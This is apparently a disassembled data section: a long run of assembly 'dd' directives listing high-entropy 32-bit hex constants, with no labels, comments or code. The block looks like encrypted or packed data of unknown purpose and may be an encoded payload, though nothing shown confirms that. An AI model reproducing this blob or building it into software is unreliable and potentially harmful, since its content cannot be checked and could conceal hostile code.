		dd 0EEC561A2h, 0EB9391ADh, 0F4EB8449h, 79A40CA9h, 9AED354Ch
		dd 0D45A54Fh, 0A1662D15h, 0D887796Eh, 34E775ADh, 6DDEC5DCh
		dd 752B639Fh, 0D537D485h, 86403DC7h, 21F63EF0h,	89E8556Bh
		dd 325AD82Dh, 2DFD4684h, 0EBF7E712h, 96DA063h, 0C6CF78F7h
		dd 8044BEC5h, 4041FC4Ch, 9DC7E137h, 0ADF8043Fh,	41656060h
		dd 0AB747ABDh, 633054D7h, 0F705ADACh, 0E6C569EBh, 0A5F7956Dh
		dd 0FCCA8461h, 75AAD7D7h, 0D9B66921h, 47DA2E7h,	0B0B733F8h
		dd 0CD4665A1h, 0A4E74A2Dh, 0ED6D3441h, 7752D72Bh, 20EDF404h
		dd 4865E2BBh, 0F71AD480h, 0A474FC9Dh, 613F3B34h, 2DED0549h
		dd 496FC779h, 0F02DBDE0h, 0AD401FA3h, 2C3DADADh, 2400B0F9h
		dd 4F7E66Dh, 0F4CE067Ch, 412AC707h, 0E1768B6Bh,	5A5032F7h
		dd 24D9F0BFh, 0EC8449E5h, 0A5E7552Dh, 729CA379h, 416EE79Dh
		dd 2DC6DF47h, 0B6D6EC7h, 0D035C15Ch, 0AD61B726h, 0E6C7E0ADh
		dd 0F1D78584h, 0A4E6C7E2h, 0EC36F645h, 0EF5D6DA1h, 0DA21F969h
		dd 9DAE8064h, 22E7376Dh, 0B7B30949h, 656EA1A4h,	23EDCF46h
		dd 7712483h, 207C7CDDh,	9AA47D65h, 0E7E7392Dh, 0ADE6C751h
		dd 0FC1CF7ECh, 7CFFBA8Dh, 0C541AF31h, 0C75A09D9h, 0BC837D2Dh
		dd 0B5D714F2h, 81E285A8h, 0BC35D7FBh, 0E8AD9D15h, 0E85566E0h
		dd 0D71FEDA9h, 0D8C741E5h, 0B2F7E6ADh, 3464D4D4h, 0B6F1D781h
		dd 7EDB461h, 8461E5E7h,	5814EDE0h, 8DC05965h, 6B237134h
		dd 0C7B87049h, 41ABE0DBh, 0E334828Eh, 0C46D63C7h, 0E7C96DE8h
		dd 0BC9E716Ah, 2EF786ADh, 2DC24775h, 71EA91EDh,	9030F647h
		dd 964565C0h, 0A0EA6DAEh, 0D0C53FC3h, 0BBD7A0ADh, 0AD95E2E0h
		dd 7D27F7DAh, 0EE7366EBh, 877D6B72h, 816D3FFCh,	0FD0471E4h
		dd 0F4A267EDh, 6DE5C70Bh, 7921AFA3h, 0E2AD5CB1h, 0F145259Eh
		dd 0BA26AD2Dh, 7AB179ACh, 0E4AEE2ADh, 0ADF70471h, 45E2D707h
		dd 8531C3C5h, 0EB7D2BC7h, 0D7E2394Bh, 9616309Eh, 0ECD7DF2Dh
		dd 0A0796A51h, 6D2AAEFCh, 0FB98CE06h, 0C7D31BF7h, 525CEDC5h
		dd 0D1C5A42Ah, 39536F2Dh, 6DA0D2F0h, 943AACC4h,	0B3ED7491h
		dd 0C795F3B4h, 0AEBE38D1h, 0C5306926h, 0AEE78AA0h, 88889259h
		dd 273DC7ADh, 1AFFEF87h, 464D6EE0h, 0D732FFCFh,	4CB20B3Ch
		dd 0A5D78F2Dh, 0ED766E41h, 95F3B4B3h, 3F2DF9C4h, 0A49ABBAh
		dd 0A83DA0BEh, 884F69A7h, 0C7F75788h, 0ADF5C7B3h, 7039F792h
		dd 0D6EDCD07h, 76D6BA3h
		dd 7C6948FAh, 0E4846D6Bh, 0A2F760CBh, 0A0FE8441h, 5922A83Dh
		dd 46888881h, 70A5C7F7h, 0D7DC6DD8h, 1650492Bh,	0ED6EEAADh
		dd 0B3A01E59h, 4DEAE7DFh, 2ADBE4Dh, 86708582h, 0B04D78F1h
		dd 0D146834Dh, 4BF7642Dh, 0A0BFAEF3h, 5927AA7Dh, 0E9888893h
		dd 70A5C7F7h, 0C7E06DD8h, 305049AAh, 2E7CADEDh,	0F8F20565h
		dd 596460B4h, 632D8D8Bh, 732CB4D7h, 0F79F0382h,	701F7D2Ch
		dd 0F3B4B3EDh, 0BFCA4495h, 5168BEBEh, 3DA0BED6h, 4649A9A8h
		dd 0F74A98CEh, 0D5079317h, 81B3EAADh, 2DC9C684h, 6D6E436Fh
		dd 9FC25BD9h, 1F7DA1C7h, 217CED72h, 6EED6969h, 2BC45CF0h
		dd 2DFF0514h, 51228A3Fh, 0DEA25479h, 5649A0EEh,	0F73D8888h
		dd 0A9E30029h, 11E7D28Eh, 0B6E986C4h, 5450D7D0h, 0F66DB9E8h
		dd 0E855AC21h, 21F66DB5h, 0F9C67D2Dh, 2AD7A5B6h, 0F4C58484h
		dd 6521B08Dh, 91ADB3EDh, 0FA83BCF7h, 11F6D29h, 0E50793D8h
		dd 0FFE713ADh, 0F7E50430h, 0BB8FE76Eh, 9276CCC6h, 7F49A510h
		dd 21CE3279h, 0CF84ECC5h, 59B081B8h, 2D8D3B2Fh,	2CD8C720h
		dd 0F142BC73h, 0C6696DD7h, 0F76777F7h, 0EA847CB0h, 0ED1E1C2Dh
		dd 2DD9C451h, 7561412Fh, 0BA2D8C41h, 6E41A5F7h,	117CED7Dh
		dd 0CD7851E9h, 20E78A21h, 98CE865Dh, 6034D78Eh,	0F694ECE0h
		dd 80612AF7h, 83226D37h, 0DCC6979Fh, 72F7D4B4h,	6D9900C4h
		dd 752A21C4h, 0C8BEBF4Ah, 47D472F7h, 0F7CFB4DCh, 0E647F472h
		dd 6D7253Ah, 32A88138h,	0E45AF7CAh, 4240F086h, 0BF61AFA9h
		dd 0E78A4482h, 824865E3h, 0E0A1CCF4h, 74175A5Dh, 64F5D769h
		dd 0CCF4A903h, 867122B1h, 0AF42C4E1h, 0C2C46CB8h, 7381E07Ch
		dd 2D6AA1CFh, 0DCBFF287h, 9F4CD9C6h, 0C141A7C7h, 0F765F49Dh
		dd 0F970A170h, 44D2C56Dh, 0E7AC02B6h, 4DA569A1h, 0ADD39393h
		dd 4765AD7Dh, 0A16439D7h, 0FE067165h, 0BBC7BF78h, 0B3732D6Fh
		dd 68B6D0A2h, 26E7E2C5h, 5249AC65h, 45AD9397h, 0F107D105h
		dd 4DD79E2Dh, 6D586DA1h, 7044E7C3h, 5E2DBDFCh, 57441F7h
		dd 7D87CCF4h, 0E606496Bh, 0A5AD68EDh, 0ADCA0471h, 0F671B5B5h
		dd 0B12DD406h, 275A69Bh, 0E786F995h, 0B1C141E3h, 75F7F237h
		dd 7CA02078h, 65E563F3h, 846DECC4h, 8E7923E7h, 83A7AD55h
		dd 0E006C4B5h, 0A3615F78h, 6D60E141h, 556B6DD2h, 84C4C147h
		dd 0A1CF89F7h, 0F2DD6D4Eh, 0F907712Dh, 0A5E79F07h, 0F49D8179h
		dd 41A2F7A4h, 0B7A4E444h, 64DA6A9h, 0E7159CF4h,	5DAE6C54h
		dd 0A26F10ADh, 7CA0C141h, 0F0F1A3A8h, 1BEDDD07h, 0C4E708C7h
		dd 3DF1B4E8h, 0ECC7F472h, 6DE7B66Dh, 0ADD9C7F0h, 7DE32DA4h
		dd 63C65C42h, 894526BDh, 90638675h, 0A2214473h,	55524EDh
		dd 7BFCC7F5h, 65A0BF31h, 14E76F76h, 80284168h, 3D89ED5Fh
		dd 0E4C7452Eh, 0E661C238h, 2D8D094Dh, 6FBBC71Ch, 552D4CEAh
		dd 21447DE7h, 5524EDADh, 0EB04F505h, 2A8F31BAh,	0E7ACDD61h
		dd 280ABA3Dh, 0E72D4680h, 4452EFCh, 61C2BBCAh, 0B01D69E7h
		dd 64BFA1F0h, 0ADCE4683h, 71653FDFh, 0A7ADFB04h, 44F6C475h
		dd 9F317CDEh, 0EBF545AFh, 25E78AE7h, 8CB6CC45h,	9365E7C6h
		dd 0ECADCD87h, 85E47E22h, 401E3BCDh, 55A16DE8h,	0A1B16381h
		dd 2DCDC545h, 9365E7AFh, 9FEDED84h, 4A45E4E7h, 0D7B8ED6Fh
		dd 0F4ED4121h, 0C1C7F0D7h, 0AD618028h, 0D105C4E7h, 31BEBB38h
		dd 87136CBFh, 93F1ADFDh, 886114DBh, 0F4F75DF4h,	2D4EB66Bh
		dd 0C876E703h, 26E7E2C5h, 5A7DA165h, 0C7D98CB6h, 0F4ED008Eh
		dd 0CD7DED7h, 2D708028h, 452CBC60h, 0CBFBFDC4h,	0CCC0EAA1h
		dd 9FA16D9Eh, 0E14683B7h, 256FA5ADh, 0E7EAED79h, 288AD7E8h
		dd 606D7C80h, 7D10584h,	43022DF9h, 5D11A2DDh, 7E223AEDh
		dd 7BEF46E4h, 45E2F7DFh, 7AF4B182h, 46516BBCh, 0D7A6CEC6h
		dd 0C1EDD985h, 0F0520FEDh, 0E0F3C46Fh, 552E7566h, 31BAF1C6h
		dd 1161A79Fh, 0BD15ED4Dh, 0EF86652Eh, 26D7DF7Fh, 709341h
		dd 5FD71106h, 26E7E2C5h, 8245A465h, 0F71F8CB6h,	0F4ED40B6h
		dd 6BC7CAD7h, 2D358061h, 452C7C23h, 8AC4E685h, 1959E9E7h
		dd 0F7A62D8Dh, 4C7D177Ch, 0D7D72A2Dh, 0ADD0C563h, 0E145F733h
		dd 0DF6D09ADh, 8776F0F7h, 5566E3FEh, 0B6568075h, 44D7BB8Ch
		dd 0ADEDC793h, 45623D81h, 0BBAD90ACh, 7E43CE7h,	63B72DCCh
		dd 0F7C649ADh, 744C05C4h, 0C3FE85E3h, 6D2BE7B4h, 84FC9020h
		dd 2149E9E7h, 0D263EDBBh, 0B9E171E6h, 4EC785F4h, 0EDCA0437h
		dd 516D93B5h, 4AEDE9C4h, 45CBC4E7h, 0E7072DE3h,	0F4C575EDh
		dd 0E1F7DFFFh, 0BCA45F75h, 45667492h, 0F8EDE104h, 8071A5D7h
		dd 6E49EDADh, 91BE7125h, 20C7322Dh, 6DEC4475h, 6436C7A6h
		dd 97ADFEC5h, 0A945E9C7h, 91E26382h, 0B18C45EFh, 744CFFF4h
		dd 0BFFD87F3h, 596B9138h, 86ADF0C6h, 457523E7h,	0E7856DF1h
		dd 73AD652Bh, 22F707B5h, 6DE60475h, 49A5E71Ah, 6A6DBB21h
		dd 445A2BDh, 0C7302DCDh, 0E5071C3Dh, 2A126AF5h,	0B49CF859h
		dd 0C4B4E7FFh, 0F1FCEC44h, 0B4756DF7h, 0E7EEC6A0h, 0A1017DECh
		dd 0EDD7E62Dh, 0ADCD0451h, 596641B2h, 0EDADD606h, 4492DF7h
		dd 0A154EDC1h, 0D2C6616Bh, 60708AF8h, 0EDFF0471h, 49E7A1B5h
		dd 0DF2DEAC7h, 0DB7963D7h, 2C46AD51h, 50DBB8E9h, 0BDF766ADh
		dd 0F8F344C4h, 69A9C7E5h, 31ED7058h, 0A1D7CAD2h, 43A1ADB3h
		dd 0E884E4B9h, 0E4E7356Dh, 2DD24645h, 6DA0430Eh, 0EC322258h
		dd 4645E0E7h, 0E7062DE5h, 0F5C6F8F7h, 6B7D9C72h, 0FCDB0769h
		dd 9790D7FFh, 29928798h, 7845AAC7h, 0F7FFAD90h,	0F8873253h
		dd 64E77F3Ah, 0ADDA4645h, 0A7D2C7C4h, 54EDDE85h, 0C551A2E7h
		dd 0E7F96DECh, 0ADA141E4h, 0A5A1A3EDh, 0EDD5C741h, 79E5C71Fh
		dd 7BAB920h, 8479EAE7h,	8117BAFAh, 8A434569h, 226090F4h
		dd 0ADEDC741h, 696DD7E4h, 95EDC1C7h, 8445ED2Ch,	0E7B684E7h
		dd 0E4C74163h, 632075EDh, 0ADDAC769h, 0F000F7E7h, 0FE2DCDC5h
		dd 17569F7h, 0A1EF8CA5h, 0EDC57163h, 6BA3C72Dh,	0BCE7C55Dh
		dd 556B2408h, 9486FD87h, 55CB210h, 14DE7FCAh, 0EDC53B98h
		dd 0A2A168FCh, 72F5C741h, 0A89512F8h, 732DE0C7h, 0C555E981h
		dd 0D7B0EDE5h, 0DF46556Dh, 6D912FE2h, 0EDEDC461h, 696342B0h
		dd 0B8ADFFC5h, 444DA5E7h, 0D71FEDE8h, 67ED7525h, 6BD76634h
		dd 0EDDEC57Dh, 69A2F755h, 26ADCFC5h, 0C74960C7h, 0BDB56DE3h
		dd 6C4079E0h, 0EC7806Dh, 2D9968D3h, 60725178h, 7048020h
		dd 4645A9C7h, 0AB3BEDF9h, 0CC07DC7Ah, 0E1F77FBCh, 0ADDBC751h
		dd 0F084E7EDh, 2304C007h, 0C6C0FF41h, 0C7702DE6h, 0C5C47CBEh
		dd 0E4028CEDh, 0EDE2C749h, 7521D786h, 502DCDC5h, 6383DC7h
		dd 0E7232DFDh, 0BB6D5DE9h, 0E0D715ADh, 0ADFBC751h, 40B29141h
		dd 47F8E8C5h, 4BCDD0Ch,	0A1DB72F4h, 0AB4D496Ch,	87E7A73Bh
		dd 6DE846C4h, 456B532Fh, 176DEE85h, 8750BAD7h, 0D7A197EBh
		dd 0E805792Ah, 47E7346Dh, 0BFF484C2h, 756093ACh, 0F16DAE2Dh
		dd 219088E7h, 0D71FADB3h, 0D4C74965h, 0A2E72BEDh, 0EDED4575h
		dd 61ED50DBh, 2BEDE1C6h, 47169C7h, 73012DD4h, 0A9E85965h
		dd 29C7DF77h, 0ADBBD545h, 0C88BF755h, 0C8ADB443h, 468489BDh
		dd 0E731EDDCh, 0DA04FFC1h, 4F731EDh, 2DBA21DCh,	6DEBD795h
		dd 85B79BE5h, 5496571h,	7186ADE8h, 8C387965h, 0A1915174h
		dd 0EDF34649h, 45E6E71Ah, 402DFC46h, 0EEF40EBDh, 3054ADBCh
		dd 0B0624920h, 0BA53C8EDh, 0ADF70648h, 45669125h, 15ADD706h
		dd 8D7D60D7h, 99C7FAB7h
		dd 0E3C7504Dh, 0E0E7E7ADh, 0EDE3C679h, 69A5D7C9h, 0C7B4CEC4h
		dd 0C0692DF7h, 0E7ECADA1h, 0C3C769A4h, 0FB8DC96Dh, 0EDF5C7FCh
		dd 783C9375h, 2277D8C6h, 0ED0BA1Dh, 0C771FCAEh,	0A34B6DEDh
		dd 0E9F72BB6h, 0ADAD8179h, 5D61A123h, 87F498A1h, 617565E7h
		dd 1D64B27Eh, 6C2365AEh, 54E7646Dh, 6DA2A148h, 0C3F1C7E6h
		dd 1A2DAA3Eh, 0C749E4E7h, 41CCEDE3h, 0EE07C40Ah, 0E1C7FAEDh
		dd 2DAB6049h, 5CFEC7CEh, 44F6ADF8h, 5EB17C7h, 0E7872DF7h
		dd 0A56161E0h, 25214677h, 76A3C87Dh, 44F1C7E3h,	67633C3h
		dd 2FD39C15h, 0E71D74B6h, 51E0412Dh, 0A50DAF2Dh, 0E22D6959h
		dd 4DA04DDAh, 38F4E644h, 3B71E4E7h, 0D781ED8Dh,	66AFC852h
		dd 0B4C7C47Ah, 0ED5D8A0Ch, 0E98F23DDh, 0D3FFFF84h, 8A55A203h
		dd 0D7293412h, 0B4AE4D68h, 0E66F88ADh, 0AD9B2371h, 5522B1ADh
		dd 0ADF4D306h, 549E5E0h, 0C7F871F3h, 0C6C769E4h, 0A9816AF1h
		dd 2DCDC469h, 8A4E7CBh,	792DFD05h, 4649ABC7h, 0E786EDE9h
		dd 0C08759A5h, 6E71423Fh, 0ADBA9575h, 67DADEA4h, 0A5678399h
		dd 0E1B165F4h, 0F8E0AD9Fh, 6A0F4926h, 0EBF7952Dh, 2DA4E56Dh
		dd 0F0B4E707h, 6277E884h, 0C66D6DD7h, 0E7F56DEEh, 0E5C679E4h
		dd 179D876Dh, 2DA44E67h, 75604F9Ch, 54718C95h, 0E369A1D7h
		dd 7158C190h, 0EE8449A9h, 4AC7E5A1h, 7C514FFFh,	516BE7DBh
		dd 884DE04h, 84D45BA1h,	0E72BBCDEh, 0F60469EAh,	0F5A1EFEDh
		dd 36FFC5A0h, 45A0D7E7h, 0ED6DD846h, 0A865A11Dh, 0C707EDB4h
		dd 0A12FB42Bh, 0FCD0357Eh, 0C2E844F0h, 7120B14Dh, 2A3C924Fh
		dd 8C6072D7h, 0C785EDA2h, 5B62F055h, 0F4618AB7h, 6DAAA3ABh
		dd 696033A0h, 4CADC3C7h, 2E9C7741h, 818FF08Fh, 0A021D002h
		dd 0F8C7976Dh, 0B79B61FCh, 4925E7F5h, 832DE445h, 23656EF7h
		dd 0C79B2D52h, 49119DB6h, 31B4B433h, 368DAD8Ch,	64F5D7DDh
		dd 29EDA14Dh, 1665AAC7h, 8033F6BCh, 7CD0F803h, 0BE80F66Dh
		dd 0EDC18474h, 8EBC7E6h, 1F2A6EFh, 496620h, 0E758AD8Ch
		dd 0D2C5EBFEh, 0E9916AADh, 0EDD6C741h, 447F1DF8h, 0B4B69461h
		dd 4F018E7h, 138CEDF1h,	751FAC58h, 0E9E7BFEDh, 7C7A2365h
		dd 0B0D5C725h, 38EDB5F1h, 449EA11h, 0C7B8BEDEh,	8BE1416Fh
		dd 1A1DFF74h, 0AD8061D0h, 7D68B108h, 7ADBCFDh, 2061EAC7h
		dd 9DD82D8Dh, 8DAD75E9h, 0B620FA2Dh, 6DA06B7Ch,	9869D758h
		dd 0D6DE1C5h, 0C3EFF1C7h, 0D78BFCA6h, 0DD055D25h, 6960D22Dh
		dd 2DEB0549h, 0DC70E739h, 0B86DED44h, 0C169A79Fh, 0F754EDA6h
		dd 0A8E2FC8Ah, 0E8BF3B2Dh, 0DBB7F471h, 6DE2D716h, 65B7BE30h
		dd 796AE1h, 586C3186h, 9DEF79E2h, 0BAE7D8B4h, 0EDE606C7h
		dd 0E032C75Ah, 0EC7436F2h, 816522D7h, 0D7DAAD80h, 0AEEF60F3h
		dd 28D7E4ADh, 709D611Ch, 585BD750h, 866DA883h, 6F8BFAE7h
		dd 0E731ADB5h, 91AE796Bh, 65E737FCh, 0ADB49659h, 0F00C81ABh
		dd 0B33ECE07h, 99907BD7h, 0D7253C83h, 0FBC4E8BEh, 8CE720C0h
		dd 0EDE04608h, 0EFFEE7A4h, 55AD90E8h, 46840650h, 0C0AC2DC8h
		dd 8CD9E016h, 0FEE71AADh, 0B33993C3h, 496DF7D9h, 3976F304h
		dd 7FD834C7h, 0D7D52D8Ch, 5B337C72h, 6303AAB7h,	0B48EE14Dh
		dd 696FE70Ah, 773B0C0h,	4549E9F7h, 0D70AF1CDh, 9DE1AA32h
		dd 25E7B6BBh, 0F4F08461h, 4960D739h, 771EDC7h, 0FE592AC7h
		dd 40C8F11Bh, 0CC464569h, 5F7CCDEDh, 0BCCC0694h, 49E191F4h
		dd 0A6F18DB0h, 0F0BE8D41h, 0F7D9EDCEh, 0AB7EE890h, 0BBC7B173h
		dd 0ADDEC560h, 45605185h, 0D96DA0E9h, 75C4FDACh, 0C712ED8Eh
		dd 0CCC6800Dh, 6B500DBCh, 50FC0545h, 9C11E707h,	171A1BCh
		dd 1349E8A0h, 10EB4680h, 9EF4696Dh, 6BE71077h, 0BCCCC66Dh
		dd 69E51A32h, 0FBF7FF06h, 4041ECA1h, 41B2F4B7h,	0A963EC1Eh
		dd 0AC2B01Eh, 8092D6CCh, 0A8F9C705h, 0A6EDB0A3h, 0C551A2BEh
		dd 7303ADF3h, 0B16A84FCh, 2083BF6Dh, 0B8824FF0h, 696BA039h
		dd 88ADEBC5h, 366D277Fh, 0E06AEDA1h, 0A57571EEh, 99F7E6E6h
		dd 6DFD4733h, 68C03F2Ch, 0AFF6896Dh, 0E692171h,	0D7792D95h
		dd 81617DE8h, 6B149947h, 62DB066Dh, 4C9EC7D5h, 0EC22F7FAh
		dd 7AA958D7h, 0B3206D36h, 0E13AB11Bh, 0B693A5C6h, 0E4ED0570h
		dd 79A389E1h, 2CE4FAA1h, 447D6EABh, 233BADDAh, 0FE47796Fh
		dd 37035A3Ch, 0B4B0F3F0h, 7CB0C713h, 6D94FF05h,	367CB7E7h
		dd 43D3F44Dh, 0D9C741E3h, 0A2600DC4h, 0C4F74449h, 0DEB4D7E0h
		dd 0DF3CE486h, 0C77163E7h, 0F7F5F4ECh, 0D9C6FCB5h, 423D0DADh
		dd 0BCD00624h, 0C07552D7h, 11AD90ABh, 0CDBCEBCCh, 0C7DFEDB5h
		dd 0BC4255EDh, 0E9D72BADh, 0EDEE0475h, 5D60E787h, 99ADBDE8h
		dd 0C55560A1h, 0F70586F4h, 0DA065521h, 0F991592Dh, 3CD884D8h
		dd 0D0066185h, 0C8D3E205h, 4E5521E7h, 0E7762D95h, 4233F0B7h
		dd 6BE7EBC4h, 0C7D78445h, 45AA114Ah, 23ADFA86h,	0ACEC34D7h
		dd 25D6ADBEh, 6580F798h, 3073AB6Dh, 44DB4568h, 4BB93D64h
		dd 0D66DED47h, 8453F4BBh, 0B363FFDCh, 41A15D28h, 8E632AB7h
		dd 3498E0F4h, 0F456B3EFh, 33BCCEC4h, 46796BD7h,	90CD3EDAh
		dd 0DAC5496Bh, 6BE7682Dh, 7FE70645h, 75A980AFh,	9CEDDEC5h
		dd 84583AD0h, 0F71FEDF1h, 0D6C749A4h, 0A260E5EDh, 0ADA63345h
		dd 0FC74E71Bh, 8A37FF84h, 0EE69E95Fh, 0F7E3ADBAh, 0EE467DA2h
		dd 6BE7186Dh, 3FF34551h, 0C458D786h, 50EDC046h,	45656B63h
		dd 73DF3FF3h, 0B18E7D64h, 0E0D715B1h, 7A874D45h, 4928A370h
		dd 0A28CFEC4h, 0C0F706D7h, 8110CC82h, 9AA177C6h, 7403A16Dh
		dd 0F6E64668h, 6D6693ADh, 0F8EDA121h, 434964C7h, 0B12E7F87h
		dd 63F8C7Bh, 0BAC7B3BEh, 2DCF04B0h, 49E9D0D5h, 2D34642Ah
		dd 62E4C151h, 0B8D4ED5Ch, 0CCC66969h, 63FC5774h, 0FFDF0575h
		dd 48B1D7D3h, 23C6CB44h, 4A82B80h, 0F766B4E3h, 4821756Dh
		dd 0DE72701h, 0ADF9C790h, 716B610Dh, 32BEDC84h,	844160D7h
		dd 4CBE8EFFh, 9DE044CEh, 0E729A1EDh, 778D587Dh,	7D6D53C8h
		dd 0E3EDDCC5h, 4571A2E7h, 0D22D2DDAh, 9BCE61A9h, 6633A137h
		dd 0AD97EA49h, 0C747D7DFh, 0FE6DA9E0h, 0C4E43482h, 916291F1h
		dd 0FE067D6Bh, 0A0D7B186h, 78877459h, 596AE7BAh, 0DF2D8D95h
		dd 804961C7h, 9131ED4Ch, 0AEEAB406h, 6F7E76Dh, 0EDEF04ACh
		dd 0AC0CE7ABh, 8EEDE004h, 6C4FA81h, 0D71506EFh,	0E0C6E319h
		dd 282D10F9h, 76D9845Dh, 7D20D7DBh, 3E81FBB4h, 0F571AFE2h
		dd 0DC7BED0Dh, 0F707C4B7h, 65F707F1h, 0F1FC0549h, 6565D7B8h
		dd 0A46D7F57h, 57485AF2h, 0C2A4AD98h, 0E7860CEEh, 0C22D1FF8h
		dd 6DA6A4FFh, 0E4F5E7FAh, 0A6ADD1C5h, 0D773D1C7h, 31F0388Ch
		dd 0A9216DEDh, 612D37EDh, 2DC40471h, 496639F3h,	0A2AD91B9h
		dd 745A0C7h, 0F73086EEh, 0AEF24967h, 0F1D7BA6Dh, 0EDDE86A4h
		dd 377BF04Fh, 0F32D8988h, 84100921h, 0E0118EFFh, 69B593FBh
		dd 2AD7DF3Eh, 20DE056Dh, 9C85E7D3h, 0F7C7D784h,	0C441AA81h
		dd 131DFBEAh, 209D7D26h, 46C7456Dh, 2DBAE044h, 1447E218h
		dd 826DA676h, 0C6AB07D7h, 0DA1BFBD1h, 0BE1D5969h, 1272352Dh
		dd 0D8EB07C3h, 0D4716271h, 0FA39D247h, 865DE511h, 0C71D2DE4h
		dd 0EC8469E5h, 92C7B26Dh, 0ADDC05D0h, 7012AF9Eh, 0BCADB661h
		dd 5756B2Ch, 819A8ECFh,	0ABB6F4C7h, 6B61EA2Dh, 6DC3056Dh
		dd 0E4F9031Dh, 0C780F184h, 68CC7631h, 0F7BDBC22h, 89ECABF1h
		dd 3581AC7Bh, 0F4E0C578h, 41ADC720h, 0DAB379DEh, 0CC75A111h
		dd 33016D96h, 0C284596Dh
		dd 74E78333h, 7AABEB87h, 4969E707h, 952DEE45h, 0C56D6AF7h
		dd 527BF0E4h, 0C8C449E2h, 0EBF795B0h, 0F2F7C56Dh, 49E55C40h
		dd 0DF74CCC6h, 13716EC7h, 4C452D35h, 0F6450873h, 6AC7952Dh
		dd 0B0C8C56Dh, 5969C72Fh, 8C6D8950h, 6D7C46C7h,	928BEDA4h
		dd 9D394122h, 7F71F2Dh,	6DACEAC8h, 0DBCBE725h, 0D8ADD086h
		dd 54D6BD7h, 0E75C2DE4h, 8C6DBCF8h, 0B28155EDh,	0ADCB4606h
		dd 0E8077E5Fh, 0CA7EB6B9h, 44AC7803h, 91E3EDD9h, 0C585F475h
		dd 0CB742472h, 0F3F6865Ch, 275E31F3h, 2B2DBCB4h, 77C85CD7h
		dd 0C770ED85h, 6B17656Eh, 0E9E7A7FCh, 0F4CA06ABh, 4DE511F0h
		dd 55EDE686h, 852440D7h, 0F79FADD0h, 0C7A80CC0h, 1322849Eh
		dd 0FEDE45CAh, 45E9F770h, 0D930D506h, 0F81884D7h, 0A37EBCA1h
		dd 0CE4645A4h, 7593DE2Dh, 0B6BCB160h, 69EAA131h, 6DADC3C7h
		dd 0C45DED91h, 0C714B6C1h, 0EFC665A5h, 0FFC735EDh, 0EDC206ECh
		dd 304E7329h, 0FE6DE884h, 8745A7E7h, 0E7DE6DE4h, 0B3616DEDh
		dd 27E7FF01h, 0ADE5C45Dh, 75A4B1BEh, 8D6DF484h,	484AB81h
		dd 0E725ADCFh, 0EEC76563h, 487017EDh, 6DF707E0h, 79A2BBA7h
		dd 0FDADCF44h, 466D6B60h, 0AC026DE5h, 9039516Ah, 23F7D4ADh
		dd 0EDE684B4h, 656813DCh, 0DF2DA3B4h, 994523D7h, 609FADB2h
		dd 0C4876528h, 3AC73074h, 2DCD04E4h, 5164F7FDh,	0FBADA04Eh
		dd 0B9E85CF7h, 0E7FBB0A9h, 0A099849Ch, 0D1F74FF4h, 0F28A39B3h
		dd 9FD6C71Dh, 696DB259h, 876D6B22h, 0E7D4CAD7h,	0FD85496Bh
		dd 6EC79FFAh, 3B97C049h, 3F8AC7FAh, 73BD905h, 66526F7h
		dd 0B327FACCh, 0AAE1DCFEh, 2EE784EDh, 0C2A30149h, 0AF55D733h
		dd 312D95F6h, 444DA1C7h, 0E7B830F5h, 0C2464560h, 75F778EDh
		dd 34977560h, 0B02BF7FBh, 86FCDEC6h, 4452DF7h, 0B1E32DD8h
		dd 0E28465E0h, 0DED7842Dh, 0BCCE4587h, 55A2710Bh, 78AD5121h
		dd 0C5696BD7h, 0F7F331C3h, 0F9C7712Dh, 5C22C86Dh, 0ADE546C4h
		dd 0DC73D7AFh, 0A1AD50E2h, 0C445A431h, 0F7AB3BC9h, 0D1C765ADh
		dd 26F7F87Ah, 6DD00659h, 45E01CDEh, 262DDA44h, 5E4524D7h
		dd 4CDEED99h, 0A1269C0Eh, 4BB14FB4h, 0FCE444A4h, 4DE3E7FFh
		dd 0E6F4DE46h, 0C16167A3h, 0F710F4A9h, 823082D8h, 0DE916DCAh
		dd 0F29B1083h, 3399F7C7h, 2836C704h, 46C8F7A1h,	6259EDC8h
		dd 7F1E7D62h, 0AF781ADh, 0C2E38581h, 67BB4065h,	0EF94F605h
		dd 4155ADA3h, 0C7F97699h, 0D005C4FAh, 2EC7ECF2h, 0BCE80465h
		dd 0E43230CBh, 0F6BFFB05h, 0E37167A0h, 0D73CED89h, 0EEC461A1h
		dd 3DE7E97Ch, 74E905F4h, 0E43DE7EAh, 0F474E9C4h, 0C4C43DE7h
		dd 0E7F672F8h, 0B941C43Dh, 0F5C741EDh, 0F28B6FE4h, 45E0D731h
		dd 0FF7C9D23h, 0C575EBE7h, 0B1C8BCEBh, 0D44575A4h, 0AD22847Ch
		dd 0C7D78469h, 45EF9138h, 76ADD984h, 46C4F781h,	0E7F13FF3h
		dd 0F4C56163h, 0E9A1A63Ch, 0F4A80361h, 4437E7CFh, 0B6ADF944h
		dd 47E87EA3h, 0C785EDFDh, 0F8C7C031h, 3AF7E2EDh, 0ED91E150h
		dd 75EF93A5h, 0D3CFE6C5h, 55037E7h, 83876DD2h, 0E5C5F039h
		dd 0A5F75C02h, 7A8D617Dh, 61A5E74Ah, 6DADB382h,	265DEFA1h
		dd 0A394F482h, 9141556Eh, 0C6E7FB7Ch, 0AD81E152h, 0CEC6A3A5h
		dd 7CADF944h, 0C769E191h, 0E7FFBCC6h, 0E706516Ch, 0AEB17CF4h
		dd 34F44579h, 0D739A27Ch, 0A6E74AB2h, 4155A8A1h, 0E7FFC757h
		dd 4DE361E0h, 40C78E2Dh, 0ADE8C768h, 712AD7F9h,	37DF95BBh
		dd 8579E62Ch, 0D7F0C2D6h, 0FA85740Ch, 0B6F7E27Fh, 0EDB0AF70h
		dd 0DF01E7F9h, 8CED8859h, 995CB643h, 758CEDACh,	792FF10Fh
		dd 4983A5ADh, 0ADE1444Fh, 0F007D772h, 0F26DC1C4h, 86416BA0h
		dd 0BC9CFAEEh, 0FAC575A1h, 86C7CC7Fh, 0FC1323C4h, 51AFA1CFh
		dd 0EE2D89E1h, 0C5F4B683h, 23BCF4C5h, 0AE0F5CF7h, 9BE7602Dh
		dd 0EDCA46C3h, 45638391h, 0F22DCD85h, 0C851A2E7h, 0E7B32DA6h
		dd 98F175A2h, 8DC7C02Dh, 0BCE84564h, 2453C7FFh,	0F277D8C7h
		dd 87ECF3E7h, 0E70A0FE6h, 0B2C05164h, 0AFC7DFADh, 82E78769h
		dd 5C8AE717h, 0EBAD51BAh, 847B89F7h, 0E73CB4C3h, 8D937810h
		dd 16A1ABEDh, 3BEF46C7h, 4491811Dh, 0B2B483EEh,	684816E7h
		dd 23F2ADE5h, 0D944716Bh, 6FF7DFFEh, 0FBD9C455h, 6965C7DBh
